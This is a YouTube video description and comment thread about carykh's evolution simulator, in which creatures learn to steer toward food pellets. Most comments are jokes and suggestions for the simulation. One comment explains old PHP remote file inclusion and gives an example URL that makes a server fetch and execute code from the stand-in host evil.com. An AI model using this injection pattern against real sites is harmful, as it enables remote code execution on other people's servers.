Evolution Simulator creatures learn to steer

wow this video is over an hour. that makes it a movie
Wanna know exactly where at VidCon I'll be? Check it out here: • VIDCON W/ BFDI & More!...
Do you want to skip over my failed seeds, and get right to the seed that actually succeeds? Skip to 29:32, that's where the successful seed starts.
Do you hate seeing creatures that can't steer yet? Skip to 38:20
Only want to see the best performance ever??? Skip to 51:39
Source code: github.com/car...
(The graphics show up strange in Processing 3, but turn up fine in Processing 2. I'm not sure why.)
Music: "Evo" by DemiPixel
Patreon: / carykh

[@L0j1k]

User clicks two buttons. Scientists in creature universe, two hundred million years later: "... My God ... What happened here in the fossil record ...?"

[@DogMcMeow]

User in creature universe finding faster ways to get food and eventually make a simulation to do that for them. Gamers in creature creature universe:"now that's what I call a victory royale"

[@dominickeijzer5844]

Scientist 1: Ah yes, the S45 era. A beautiful creature with extreme diversity. Scientist 2: We made a groundbreaking discovery, sir! We've recreated a chomp!

[@percyvile]

Would be cool to see a "hunger" mechanic which allows creatures that successfully eat pellets to live longer (ie start with 10 seconds and gain a second each pellet) and use lifetime as the messure of fitness. This paired with more volatile pellets could produce some seriously interesting intelligence.

[@noyz-anything]

Good job

[@franzy871]

Nah but the problem is, that you may get really high long living creatures, what dramatically increases calculating time and finally, when a creature reaches ‚perfection‘, it will have an infinite life...

[@muhiak115]

True, but you could also counter that with a decreasing gain of time for each newly consumed pellet. So you have to be really quick to get a long live. Also it wouldn't be infinite then.

[@trickygamer555]

yeah, but only if they ate at least 1 food. otherwise it's random until 1 lucky gen 874 creature eats a single dot/food.

[@ismaelibarburu5084]

you should make it so at the start it has 15 sec but every ball it eats adds 5 sec this way you promote speed

[@rhyscullinane5448]

Ismael Ibarburu thats a pretty good idea, actually

[@effortless35]

Or 5 sec for the first ball and decrease by 10% for each successive piece.

[@icevlad148]

Ismael Ibarburu at some point it would make single generation last for hours

[@zinqtable1092]

Don't have a supercomputer. Feelsbadman.

[@nightshadefns]

I would add only a single second, because the balls are not that far away from each other. Also, this would make the creatures faster.

[@venomissocute3448]

I just realized that by 53 minutes in, they use a head like think to eat, some walk with two front legs (which are sometimes used to eat) and two back legs, and have a tail like structure in the back. CARYKH HAS CREATED LIFE THAT MANAGED TO SURVIVE ON EARTH!

[@carl6167]

Dear Cary, this is where the form of your ears comes in. The reason your ears aren't just plain holes, but weird shaped things that stick out, is because your brain has an algorithm that uses the bouncing of the sound from the different spots on your ear, to deduce where it comes from. That is why Humans CAN differenciate a sound in front of us, versus a sound from behind !

[@hellothing]

Carl Jontza yea thats why it does sound the same/not differentiable thru headphones unless the audio was from a mic that was in some sort of contraption like those asmr mics

[@LaurynasMilinis]

There's also an interesting thing called the Haas effect. Our brain evaluates the delay between the times it hit one or another ear. Also the timing of reflections from surfaces is evaluated. What Cary mentioned is very important too. Our hearing is very complex and interesting. :-)

[@somepotato1743]

This hurts so much to read I didn’t even bother.

[@kewlguy]

Some Potato yes ik

[@firstnamelastname4752]

Laurynas Milinis Haas effect is more to do with two sound events happening close together. What you’re describing is Interaural Timing Difference. A sound wave hitting our head from the right will reach the right ear just before the left. Our brain compares the input from both ears and establishes that it was one wave and it must be from the right because it hit that ear first. There’s also interaural level difference (the far ear hears it more quietly) and interaural frequency difference (due to ear shape and head-shadowing).

[@hamyield]

Problems with stagnant species? I think it's time you built in an 'irradiate' button into the console to give your creatures a one time smash to the mutability.

[@silentexcorcist453]

No comments on a 500+ likes damn Oh wait a minute

[@hamyield]

@@silentexcorcist453 this is probably my most liked comment. Thanks for bringing it to my attention.

[@AhrkFinTey]

This is something that I use basically any time I write an evolutionary algorithm

[@1.21gigamatts9]

Was anyone else actually rooting for that creature in the end who got so far? Only carykh can make me root for a bunch of purple nodes and muscles.

[@adelaalomerovic1620]

too true i am rethinking my life

[@tjahjobagaaa]

Aliens must be like, "Wow, humans are stupid. Why are they rooting for purple balls and crème sticks? Idiots..."

[@adelaalomerovic1620]

humans can grow attached to pretty much anything

[@The360MlgNoscoper]

i rooted for s5-8 in the jumping simulation thing.

[@lykos_ddraigcrafangaur]

in the first simulation i was rooting for Nullpersona and indeed that one took over the population and stayed for over 100 generations

[@firestar1056]

One thing that could be interesting is 2 creatures in a same simulation and have one try to catch another and separate things into 2 groups at the start so you have the predator group and the prey group, this way in theory the evolution will never stop since it's active competition instead of passive competition

[@noyz-anything]

Firestar Nodes could be food pellets for the Predators (red) and the Prey (blue) could run away from the Predator like in the 1st 3D simulation

[@captainnugget471]

And the Prey could eat regular food pellets.

[@maxvallone9391]

It could be better if 1 of every species was kept alive to create some diversity

[@jadenreynolds2152]

I belive one of the reasons it stops moving while standing is so it can prevent a score of zero.

[@sol2544]

TropicalPanther Gaming Its because it's body is more suited to going forwards, not sideways. In later generations the body is better designed to allow it to pivot around the tail, but you don't see this in the beginning because it didn't need it in the beginning. When it suddenly met this obstacle of turning, it tried to strain but had no ability to change because the muscles didn't operate that way

[@prosvade1337]

It knows it will be killed XD

[@Atlas_Redux]

Having tried tons of neural networks and AI learning software, this is a common issue. VERY much so in Learnfun/Playfun. Though LFPF does not use neural networks, it takes input learning from replays to play NES games. To make it work optimally, it's best to edit out pause-presses from the learning replay files which does not interfere with the gameplay (like pressing start to start the game, but only let there be minimum time of input registered). Or else it will keep pausing the game when it sees it is losing, even though it's not a complete game over.

[@QuinGracia]

Jaden Reynolds the reason it does anything is to prevent a score of zero

[@Aaden.mp4]

Believe

[@nathanwhitfield7834]

41:01 "can it keep eating food? Oh it died"

[@glitchhunter538]

Aw it died

[@mealbitz]

Having a child like

[@Ian098]

100th like And lol

[@EHMM]

@@wibbuffey Damn they to dumb they didn't even get homeschooled or public schooled now they dumb as hell

[@GoodByeStars]

Obese

[@giod4713]

Cary, thanks for making this video. Today I am horribly sick and have to stay in bed, but once I saw your video In my sub feed, I felt way better. I felt even better after learning it was over an hour. Cary, thank you.

[@joacocrabtime1032]

Gio D Wow, I though I was the only one sick here. Hope you get better.

[@giod4713]

You too :)

[@joacocrabtime1032]

Thanks.

[@FlyingWithFeathers]

Wow that's weird I am sick today huh

[@a-lphaofzeldaformegaming7907]

😷

[@Bonzane]

Am I tired or are these creatures adorable eating food like that

[@nyxgaming917]

DaMuffin! nope there cute

[@GrammarNazi10]

The little pause is the cutest thing ever. Like yeah, you little bunch of nodes and muscles, stretch towards that food. You can do it!

[@canhedotricks6078]

DaMuffin! You're tired

[@CaptainLuther]

especially the one that got 28, kicking it's feet up was pretty cute

[@TheOriginalFlamingEagle]

DaMuffin! You're tired

[@JohnDubuc]

I can just hear the dramatic music playing while a creature is desperately trying to reach a pellet. XD

[@anuel3780]

DUN DUN DUN DU-DU DUNDUN DUN. (In a documentary narrator voice) The creature is trying its hardest to reach its food and it's struggling. Oh no, he died after collapsing to the ground from hunger. Just think about what its family will have to do without him! (btw love ya videos :) )

[@JohnDubuc]

Thanks :D

[@加州猫主席]

Guynimator the Terrible Really, the creatures have no energy. They just strain too hard and overbalance.

[@adammullarkey4996]

I'm now imagining a creature straining for a pellet with the Sonic the Hedgehog drowning music playing...

[@danatronics9039]

*Halo 3 theme*

[@DivinityOfBLaze]

I personally think you should have a button that adds in 100 new randomly generated creatures, just like in the beginning, to help diversify them and push them towards less stagnant shapes.

[@warpigs330]

I think the problem would be that they would all get the same scores the very first ones did. they would end up filtering back out of the gene pool. Perhaps increase the deviation from the previous generation every now and then.

[@smergthedargon8974]

I think an "Irradiate X amount" button'd work - suddenly skyrocket the mutation rate of a few randomly-selected creatures for when things begin to stagnate.

[@slimeykadenza9293]

Is that how evolution works?

[@jackodegruit9823]

@@smergthedargon8974 this was implemented in a fork of this project on GitHub

[@guilhermegigeck5946]

According to the video there is no DNA-crossing as the creature is the sole parent to its offspring. So this strategy wouldn't be effective.

[@Buffbud96]

I love how at 50:00 in they start to actually walk to get some of the food, it's so adorable

[@recolinotyu]

I think we're REALLY getting into something quite revolutionary. With this creatures we got to see very interesting behaviour being created, where they actually got to start making decisions during the runs . What could be interesting is if you tried to replicate that behaviour you created with your last simulation, but the simulation would this time be ran with with ALL CREATURES ON THE SAME MAP AT THE SAME TIME, and 1000 food pellets are spawned randomly on the map. If they don't eat anything for 15 seconds they die. When only 500 creatures remain they get to replicate. After some time, would they start fighting for food? Would they form groups to increase their odds? This would be a mind blowing and absolutely revolutionary simulation... Also, for better and faster and crazyer results, some suggestions by people in the comments that should be implemented: For your next version would it not be beneficial to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool. Increased/changing mutability rates Obstacles maybe? Like things they have to avoid, holes in the groud, slight variations in terrain height, etc... 5,000 generations isn't that long in evolutionary terms. Have you got an old PC you can leave this running on 24/7 for a few days or Weeks?

[@DevDreCW]

There are 2D neural network simulations that do what you say. He's greatly increasing complexity by introducing 3d physics and disqualifying anything that doesn't stand upright. i do imagine he'll be able to simulate population dynamics if he keeps making progress.

[@killstrike-zn1lv]

Holy crap yes.

[@killstrike-zn1lv]

But! What if we did that idea, but made it so species can EAT other species? This would introduce predator/prey behavior!

[@QuinGracia]

Oh my god, humans are making virtual ecosystems!

[@thescoobymike]

This makes me feel like we're in a simulation

[@hugh6025]

"oh it died"

[@Migglyman]

hugh mungus

[@najwan3672]

for you who havent watched the full video yet 41:04

[@tylerg8963]

44:35 epic 420 noscope in evolution simulator

[@auzzythegreat]

This is awesome! I can't believe you made nodes and muscles actually have survival instinct like turning torward food! I find it amazing that they know where the food is, and pause and throw themselves at it! That's totally awesome! Almost like it has a mind of it's own... 😱

[@gamefoun]

well it does have mind of it's own

[@Dieaconus]

This is honestly in the top most adorable videos on youtube! And that's saying something. But seriously, I absolutely love this so much!! The creatures evolving are soooo cute, and I really think you neeeeeeeeeeeeddd to do more videos on this! Maybe add so they have a random amount of nodes? Or there's an inconsistent population? Or maybe there could sometimes be more than one creature at once in some situations so they have to interact, so there's more than just one variable just like for us humans! With these different conditions I imagine that if you left evolution sim for years then maybe the creatures would create their own working world, or maybe society! (Also you should definitely add a save feature)

[@Stettafire]

Yes, more videos without discord, skype or steam open would be great:)

[@DogMcMeow]

Quantum computer: but I don't exist

[@SunnyWebeSimile]

Good job Jedidiah Corder you must feel so proud to have raised such intelligent marbles attached by strings

[@ryzon2]

Ok now this is epic

[@mewion6774]

Same.

[@BritishGun]

Ryan Cole that is true.

[@royjonesrampage6684]

Ryan Cole yeah i really liked it

[@sleepful1917]

Ryan Cole same

[@kappa_ferro]

I came for the "console with the worst graphics", but I stayed for evolution sim.

[@epicbob57]

One hour cary video? I know what I'm doing for the next hour

[@PurpleCoin7777]

congrats on dying at 3rd :)

[@epicbob57]

Thanks :D

[@8thy]

Sad you died third! Good luck in Season 2 though ;p -(I can give you an advantage over purple)- WHAT NOTHING!!!

[@PurpleCoin7777]

Please he already placed higher than me 7 rounds in a row in season 1

[@PeterAuto1]

I noticed to late that this video is that long so I came to late to classes

[@derpmansderpyskin]

Cary you killed 2891500 creatures today.

[@tankguy621]

Rip X 2891500

[@pedrolmlkzk]

cary killed too few

[@woogull5812]

Genocide

[@michaelfixedsys7463]

DerpMans Derpyskin So did you. There is always blood on your fingers

[@rhebucks_zh]

that's only half as bad as Adolf Hitler

[@World_Theory]

50:51 I think the reason it's turning at the last moment, is because you made it aware of its distance to the food, but not which direction it's necessarily in, so it's some how using the sudden spike in the numbers to tell it has missed the food when it's moving, or is about to miss it. And that makes me wonder if it has some accidental method of telling the passage of time to track it's progress toward it's food. Maybe the fluctuations in the number that represents its distance to its food, caused by the scooting of its body, is enough to act as a clock, so long as it's produced in a reliable rate. That way, if a pulse of the clock is high or low enough to trip a threshold, it could tell when it's time to make a change to its steering, or to try reaching out to grab something nearby.

[@warpigs330]

It knows every node's distance to the food, so it can triangulate.

[@OrangeC7]

The problem is that you're measuring fitness within a total of 15 seconds every time, I get that this is to prevent the computer from taking a long time to do a generation, but I think I have a better idea. Instead, say that if a creature hasn't gotten a pellet in 5 or 6 seconds, it has stopped, and the simulation will move on. This way, it still encourages speed, but it doesn't cap off the maximum performance. It will also give more leniency to the techniques that try to develop earlier on but that get flushed out for being too slow. (maybe) Two more things: If you have a link between two nodes (in the neural network) that's multiplying the number by more than 2 or less than 0.5, snap it to 2 or 0.5. This will probably save computational power (however small the difference) when it comes to the computer trying to calculate things in the billions. And, maybe have it so that the more nodes a creature has, the less fitness it will get? This could make the creatures try to find the simplest and (probably) most effective strategy. (It could also be another way to make it run through each generation faster)

[@smileyp4535]

I like your idea of cutting it off early if nothing happens but given how long it takes to initially get the pellets I think adding 5 seconds everytime it gets a pellet is better because it promotes long term viability rather than initial greatness

[@carlsojos]

Could implement a couple of math functions to move the goals over time. Maybe cutoff after last chomp time is greater than MAX(5,(60-[current generation])), and maybe set the curve to equal something like MAX(0,(0.01*(current generation-500)))?

[@n3lis94]

If you allow unlimited time if a creature keeps collecting pellets, at some point your entire population will be able to collect pellets for minutes or longer. This would take an insane amount of time to compute

[@chrismofer]

yes, I was also surprised that the net could request any muscle tension it wanted, because the math is going to be an order of magnitude slower for the simulation running the network. it should be capped. also, in addition to testing every creature from each gen in it's own simulation, it could test each creature multiple times and take the average or the best for fitness. I feel in 15 seconds a viable mutation could be killed by chance before it flourished.

[@benporter1997]

Rather than capping node values the "energy" expended could be subtracted from the eaten food score to encourage efficiency.

[@TheJakiller]

The evolution simulator's back!

[@a-lphaofzeldaformegaming7907]

but what a out evolvio

[@want-diversecontent3887]

a-lpha of Zeldaforme Gaming He gave up on it, I remember.

[@Scribblersys]

It might be interesting to add a reward for getting food pellets, like increasing the simulation time so they have a chance to get more.

[@coolmann24]

this

[@EstrogwenJunkie]

this

[@andreia157157]

up

[@Fraisecat]

To add to this, you should increase the mutation rate slightly and have a chance for additional nodes to be used.

[@conoroneill8067]

Hello Cary! Long time watcher, first time poster here. You seem to constantly be striving for your creatures to have some sort of complexity or intelligence to them, which I find fascinating. One of the things I was wondering about is if it would be possible to make a predators/prey scenario - so you start with this and build off of it, but at a certain point you can also add in a predator - another machine learning made creature, whose job it is to touch/eat the original. So, the aim of what I suppose could be called the 'herbivore' creature (i.e. the ones in this video) is to eat as many of the still foods as possible, while avoiding the carnivore creatures, who if they touch, they get an automatic score of 0. I think that could make things very interesting to watch and see how the creatures interact with each other, and also perhaps make a better way to avoid stagnating herbivores that stop moving halfway through the time. Thanks! I love your machine learning videos. Highlight of my day.

[@xM0nsterFr3ak]

Or two creatures and the only the one with more chumps can eat the other, so that they could learn a bit of an strategy for like first eating chumps than the other creature... also the eaten creature could give its chumps to the eating creature...

[@jakobkhan-springer2571]

Redstone Miner Chomps

[@dylankerr4511]

This is amazing. I am floored by how cool this simulation is. I've actually grown attached to the little creatures, and I want to see them succeed.

[@JohnDoe-hy7iz]

Watching Cary play mad god that will not accept projectile people in his universe

[@galiantus1354]

A few ideas: 1. Change the simulation into a measure of survivability in an environment with increasing difficulty. Basically, the possible distance, angle, and height of food would increase every time a creature got a "chomp", and fitness would be measured in terms of time survived rather than the number of pellets eaten. Creatures would "die" in the usual way where they collapse, but they would also die if they could not reach the next pellet within a given time-frame. You could then gradually decrease the time needed between "meals" every 100th generation, counteracting the effects of needing more time to process more healthy generations. 2. Start with a high curve. Your goal is to get a creature which can quickly navigate to random sets of locations in its environment, and starting with little or no curve right off the bat eliminates body and brain structures capable of moving in multiple directions. You say you hate projectile creatures, but I think it would be interesting to see a creature develop as a projectile capable of aiming in all 360 degrees from its start location. 3. Introduce more variance to the height of pellets. If a creature figures out how to get high pellets it will have a significant advantage over its competition. You could also put pellets as low as the ground if you create a special "mouth" node each creature gets only one of, so it can't just "eat" with its feet. 4. Keep different branches of creatures alive. You want to have diversity among your creatures, but your killing/reproduction algorithm makes it nearly impossible for different "species" of creatures to coexist. From the beginning you should put the creatures into groups (say for now, 10 groups of 100), and prevent the best creature within those starting groups from being eliminated by the killing algorithm. Children would be assigned to the same group as their parents. The size of the groups will change, of course, but as long as you kill 500 off every time you will always have 1000 creatures per generation. What's important is that the simulation will be given the chance to keep trying to discover new strategies in the background without going extinct in the process. 5. You should do a simulation that involves direct competition between two random creatures at a time. It could be a battle, a race, or even soccer. You could also do one where the goal is to collect the most "chomps" out of a limited starting supply. Not only would this make the competition more real, but it would also be the bane of uniformity near the end of the simulation, since populations with similar characteristics tend to have similar weaknesses. Love the Evolution Simulator series! Keep up the good work!

[@tripplehelix]

I'm guessing because it evolved with no symmetry, as there was no real reason to begin with only the ones that had food to the left did well. Which would also explain the huge number that just died. I think just by the evidence of living creatures on earth, symmetry is extremely important.

[@ImGamingNow2010]

*Fast forward to episode 1* Look how symmetrical this creature is! *Dies*

[@DaBestNub]

Symmetry is pretty bad because there is less diversity

[@Boslandschap1]

Hey carykh, I loved the decisions you made for this last evolution simulator: the way to define your fitness parameter, the subtle and amusing way to represent your Patreon supporters as well as the way to show this competition graphically. The gradually increasing scores really seem to help your networks to evolve and improve. I had two ideas: 1) why limit the time for every model to 15 seconds? Would it be possible (and useful) to extend a model's life for a certain number of additional seconds per successful chomp? As in real evolution, creatures who successfully take care of themselves get to live longer. 2) Would it be possible (and useful) in that case to let the reproduction also be influenced by this extended life/success: each creature gets one basic reproduction and for each number of seconds in its life, a creature gets an additional reproduction (chance). Again, creatures who survive longer/successfully get more opportunities to have offspring: a model that successfully manages to survive to the ripe age of 28 chomps *should* have plenty of offspring :) Also, given that you have unlimited CPU time and personal time (right?), the obvious next step is running this simulation ten times and have an Armageddon evolution series with ten times the best 10% creatures of the 10 previous simulations. Even better: have them all be simulated simultaneously where they compete for the same chomps apparitions in a common space. Let the strife for survival begin! :)

[@callmed4119]

This is gonna be the most enjoyable hour and four minutes ever.

[@eaglgenes101]

Neural network to detect discord notification sounds?

[@aperson4075]

Eugene Wang lol

[@007hansen]

He's already using audacity, so?

[@sadduck1737]

oof

[@superandyhero3783]

This is the evoution of evolution simulators.

[@ethanholter]

and the fitness level is the number of likes on each video

[@sheait266]

Someone should create an evolution simulator that constantly makes itself a better evolution simulator

[@robthompson563]

Sheait self improving ai, no,no,no,no,hell no

[@wvvwkx]

YES! EVOLUTION! ONE HOUR OMG

[@crimsonwings4542]

Yes! Creature exportation would be extremely awesome. Also this series has been my absolute favorite, it's what brought me here and is always something I get excited to watch :) thank you for making so many of these, simulated learning has always seemed cool to me but you bring these interests to life.

[@ravenmast3r334]

I just realized I watched my phone for 1:02 without ever being bored. You sure deserve a subscriber.

[@xernerac]

You should make it so that each generation is converted to a string and save that to the hard drive. All the generations are saved in one folder for each simulation. This would give you the following advantages: you could pause a simulation and shut down the simulator, you would reduce RAM usage and you could view every generation you desire inside a "viewer" that would be more light weight. Oh and you (and everybody else) could share your (their) results.

[@CaptainLuther]

XerneraC correct me if I'm wrong because I know nothing about this stuff, but wouldn't that take up a lot of space?

[@doom87er]

yes, yes very much. but only if your dumb enough to save data like that as a string. tis a good suggestion thou

[@yashgaikwad7516]

Not really. He has 3 layers of 9 nodes so if you store them, you will get 1 triplets of form per creature where 1

[@o.sunsfamily]

It would be great if you could save the best creature each time and load em. Like make a load creatures option in the beginning and a battle between the best creatures.

[@zachburke8906]

Yasharyan Gaikwad that would store the creatures shape, but not his brain i don't think.

[@RobinHilton22367]

For your next version would it not be beneficial (aka could you please try) to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool. Also could you make it so their performance time can be edited mid-simulation. Ie: increasing fitness time from 15 to 20 seconds (or add 5 seconds every 1000 generations)

[@PoopLoserDa69th]

The 50 random creatures will die on arrival. It'll just slow down evolution by making them worse.

[@arthurbernardocoopi6540]

PoopLoserDa69th What about make them just extra mutated decendants from the top 50?

[@PoopLoserDa69th]

That's how it essentially works already. Every generation's offspring is the surviving 500 creatures slightly mutated.

[@Sam-oz8pn]

But these would be more mutated, and from the top 50. So they would already be functioning creatures, and if they got lucky, they'd keep the good traits and get something new.

[@jacywilson]

Maybe not 50 completely random creatures, but triple the mutation rate for a certain amount.

[@evilplaguedoctor5158]

awe, I wanted to see you set it to 360* variation at the end. and I agree you need a 'DNA' saver, then add different 'elite' species in a new simulation and see what happens!

[@Stettafire]

I feel like you need to introduce the curve before you loose all the variation, otherwise your creatures feel no need to compete with one another.

[@lucaslucas191202]

But then he would have to go through like a million simulations before anything would happen, since most of the creatures would just die without getting a score, and therefore he would have to rely on a creature randomly evolving walking and steering at the same time.

[@Brot1984]

He should (re) add a mutation of the body. Right now a lucky development in the brain of a creature with a inefficient body structure can lead them to completely take over. So statistically you will most of the times end up with inefficient body’s since it is pure luck which body type first has a major breakthrough in the brain. In real live brain and body have evolved together.

[@lucaslucas191202]

@@Brot1984 I don't fully understand what you mean. The creatures body could still develop without changing their brain, or it could change both brain and body at the same time, just as you want it to. I agree that some inefficient creatures could take over since they simply had more time to adapt than other creatures that could've wound up being better in the end, but I don't know how he would prevent that

[@maksymiliank5135]

This is the best kind of "try not to be satisfied challenge" i've ever seen. When i saw those creatures actually learning how to steer and remembered how dummy they were before,i dont know why but i started to smile.

[@qqaazzqqaazz3741]

The creatures seem to have a harder time turning left than right Right - uses one of the lighter nodes in front to actually turn around Left - just leans its top node as far as possible, and quite often dies --- I'd say you should encourage diversity/mutability more. The stagnation, obviously, wouldn't be such a problem if you had, say, 4 competing species instead of 1. This way the strategies that dominate early on but are not necessarily the best later win out, and many evolutionary paths are left unexplored - the most egregious case of this was in the 2D simulator, with vibrating triangles vs. wheels/barrows that you tried to get them to develop.

[@sliceofpudding]

He doesn’t have control of the situation. If all the species die out except one, it doesn’t change until one gets some mutation that does better than the current species.

[@involuntaryascetic3602]

he could still increase the odds of mutations, this would make bad creatures worse but breakthroughs more common.

[@chickensoundedmexicanyt9732]

you should add predators

[@foeveryrealx]

51:40 Is it bad that I found this creature made of nodes and connectors incredibly cute, and that I want it as a desktop pet?

[@bigspicybean]

foeveryrealx I

[@arwencantonwine617]

No

[@michaelepica3564]

No. I want it too.

[@siriustheislandprotector9720]

foeveryrealx I need it now

[@iceboiii4909]

i need it too

[@Chris-wy3ok]

I don't know why these videos are so entertaining but they really are. I didn't even realize how long i've been watching this video until nearly 45 minutes in. felt like 10

[@spociteold]

“I’m bringing back the evolution simulator” Date: 2 years ago Whamp whamp whamp

[@inferno3345]

Finally, another evolution simulator!

[@coosome]

you should have a button that can increase their mutability rate by a bit

[@scottangelides4768]

coosome U can change that in the code

[@pugz3230]

Add a subspecies generator so after a species takes over completely it is split off onto another 1000 species originating from the one that took over.

[@The360MlgNoscoper]

or just name species after their structure and not some supporter so we can actually see what they are

[@Ninja_Bryden]

I really want to get into the IT field and your channel really humbles me and proves how little I actually know. You're very talented!

[@tianamaycry]

This just gets cooler and cooler!! Keep going with a seed for a really long time if you can. Introducing new measures of fitness if possible. I really love how this displays rudementary evolutionary dynamics and how they become more complex.

[@IngoDingo]

can I pledge and name my self "return 0;"?

[@alcohashbo3637]

oh god

[@thatpersonyouknow3747]

Max Bambusman lol

[@加州猫主席]

Max Bambusman xkcd.com/327/

[@Eagle45678910]

T0astBread I'm not sure, I only know a little bit of c++

[@swapode]

These days code injection is pretty rare but back in the day there was quite a bit of eval() trickery going on in some script languages to make complex concepts like templating work quick enough for big websites. I can't recall any specific exploit but I'm pretty sure there were instances were this could be abused. A common code injection exploit had to do with the naive approach to dynamic web sites that many old PHP tutorials taught and the register_globals "feature" of PHP. www.example.com?page=contact would load the contact page but www.example.com?page=evil.com/myexploit would load a file called myexploit.php from another server and execute its contents on the example.com webserver.

[@zoeykatwiser]

A full length of a feature film is usually around 1 hour and 30 minutes.

[@AwesomeGaming99]

This isn't a vlog channel

[@AwesomeGaming99]

Jesus, that was fast. Also what was the first comment for?

[@anuel3780]

Not all movies are feature-length. That would make short films, not films. This counts rather as a long documentary-eske movie than an actual feature-length movie, that is correct.

[@ConHathy]

They always flatline and I think it's the time limit. If there was some way to increase the time, or for the creatures to earn more time, I feel like you could get some very good/high performing creatures.

[@NikkiTheViolist]

Oh, thank you for explaining what the video was about in the first ten seconds because I totally forgot to read the title. ;p Also, the reference photo. I needed that.

[@cranberry7601]

Wow you still do evolution videos! I was binge watching your videos and it's so nice to know that you'll still eventually do that

[@throstlewanion]

Hello, I think your simulation is amazing and I wish you keep improving it in the future. Two suggestions I wanted to make: 1. You should kill 500 creatures after a generation and then on top of that kill by default every creature that has gotten 0 chomps (coz they starved). That way, you could increase the median more quickly. 2. In your video you were complaining about the creatures lack of speed, so later you could perhaps include a chomps-per-second score so that the creatures will be forced to be accurate and fast. Overall, amazing work. I'm hoping to see more videos from evolution sim 😄

[@tre14321]

Maybe adding an element of getting killed would shake things up. For example, getting a score of 0 chomps results in an immediate kill in addition to the 500 mandatory deaths.

[@mariannmariann2052]

Maybe activate that after like 15 gens.

[@Otiomz]

you should make a network that tries to build the most effecient tower, you can do this by making the fitness function (highest point reached by any node)/(#of nodes in the organism) and add a stipulation of atleast one node must touch the ground at all times ( a jumping organism would get a fitness of 0) you would also need to add a fitness stipulation that ensures the tower is stable so make the test end early if the highest nodes stays realtivley in the same y coordinate( like a .1 tolereance for shifting y levels) for 4 seconds, if it fails to be stable by the end of the trial its fitness is 0 i would be very interested in seeing a video about this and what the network would create hi bye -Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable. response- it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (the highest point reached by any node) and a maximum node count should be in place to discourage a blob monster tactic that just stacks a bunch of nodes.

[@micaelgarcia1576]

Evan s Same

[@Sam-oz8pn]

Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable.

[@Otiomz]

it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (highest point reached by any node) we should set a maximum node count to discourage a blob monster tactic that just stacks a bunch of nodes

[@yarde.n]

Evan s longest comment ever

[@Otiomz]

@Aaron Fang Shenhao if you take a look at the source code you can see that the creatures already have "eyes" they know the position of their nodes and the position of the food orbs

[@aidenhubbard5591]

I loved this video. The changes in curve alongside the drops in median represented small changes in environment that caused huge drops in population and stuff really well

[@neuropyrox7184]

Wow, I never thought a 1 hour video could hold my attention for the whole time

[@TuetchenR]

52:08 the moment he went from pethadic creatures to aww that's pretty cute :3

[@Lothyde]

Mom: What are you doing at 2am?! Me: Supost to be sleeping but this one video keeps kicking my ass. Dad: Is it from carykh?

[@edwyn5442]

SkyMix_RMT yes

[@GaminNUB]

41:00 It's 15 seconds are up, can it keep eating food?... oh it died. 😄

[@aoefreak3340]

These evolution videos are the reason I'm subscribed to you! This one was great.

[@whatisthis2809]

21:06 median creature of gen1 stretches really far onto the buttons 😳

[@poecilonym8115]

I think that we saw more left turns than right turns is because the creatures are better at turning to the left, which means that the creature that performed better had luck and most of the food was on the left. Does that make sense?

[@megadeth116]

You posted the video... i've got almost 11:55PM... Why did you do that to me? I need to sleep, you know...

[@lavalavaa]

themegadeth116 wrong time zone lol

[@mr.marino1120]

themegadeth116 I know noon is soo late

[@luckylucketts5321]

why would you be asleep at 12pm

[@want-diversecontent3887]

themegadeth116 You sleep very early. So early, you don't even have dinner!

[@Itschotsch]

"Dunkelblau" actually means "dark blue" in German :D

[@alfieperry2561]

I've always wanted to comment this but forgotten by the end of the video lol

[@xM0nsterFr3ak]

I also commented that it was a nice detail, but than I realized that the colors are most likly picked by random chance; still cool though XD

[@NinjaGamesWorld]

I have been watching all the evolution videos, but this one is simply incredible!

[@adt4864]

Watching this video in 2020, getting half-hyped for the alleged new evolution sim video on the way.

[@jarnobreur]

Caryhk, i have a pretty good idea. Can you make an evolution where you make them learn to walk up and down hills. Or climb obstacles? I think this is a big challange to program but it would be a cool project.

[@trickygamer555]

yeah, but then it's almost torture for these poor 'creatures'

[@unfa00]

46:15 BTW: I believe you've meant trilateration, not triangulation. Triangulation is based on measuring angle,s trilateration is based on measuring distances instead.

[@unfa00]

BTW: I've made a video about this: kzbin.info/www/bejne/aoCWi4l-i6ubm9U

[@lucaslucas191202]

Seriously? But don't satellites measure distance (i.e. time) instead of angles? I thought satellites used triangulation.

[@MenkoDany]

I watched the whole thing and didn't even notice

[@cartererickson7395]

Menko Same

[@MiamiChicken]

Sometimes I just watch your videos in the background because its so calming, and I didn't realize that the discord notifications were from your vid and thought it was my friends annoying me. Great video though.

[@sekroyssektor4151]

I am much more fascinated by any new video of yours I find so you should probably live with one more subscriber.

[@frenchfryfan8366]

You should code it so that if a species has 1000 Creatures, after 10 generations it will split into 2 species! EXAMPLE: LoyalPatreon-1 and LoyalPatreon-2

[@mariannmariann2052]

Great idea (remember when the only species were S45?).

[@The360MlgNoscoper]

@@mariannmariann2052 or S46. it actually tells us about it

[@ryonotrio6904]

Yeah!!! The simulator's back!!

[@Azuralis]

There is some helpful information after the 'Read More'. For those who don't know/who are asking, you can download the files from his github in the description. It is run through Processing 2. Currently the Processing site only has Processing 3, but you can download Processing 2 through their github (github.com/processing/processing/releases). You will need to rename the folder that contains all of carykh's files from evolutionSteer-master to evolutionSteer. Once you have launched Processing, go to File > Open and navigate to the evolutionSteer folder, and open evolutionSteer.pde . Once you have completed that, simply press the play button in the top left corner. The program seems to run fine for me, but the textures are rather fucked up. I'm going to try different versions to see what works. EDIT: Processing-2.2.1-windows64 seems to work. EDIT 2: And for those of you where the window doesn't fit on your screen, in the first line of evolutionSteer, change the windowSizeMultiplier (less makes it smaller).

[@o.sunsfamily]

Thanks so much

[@escorpiwall]

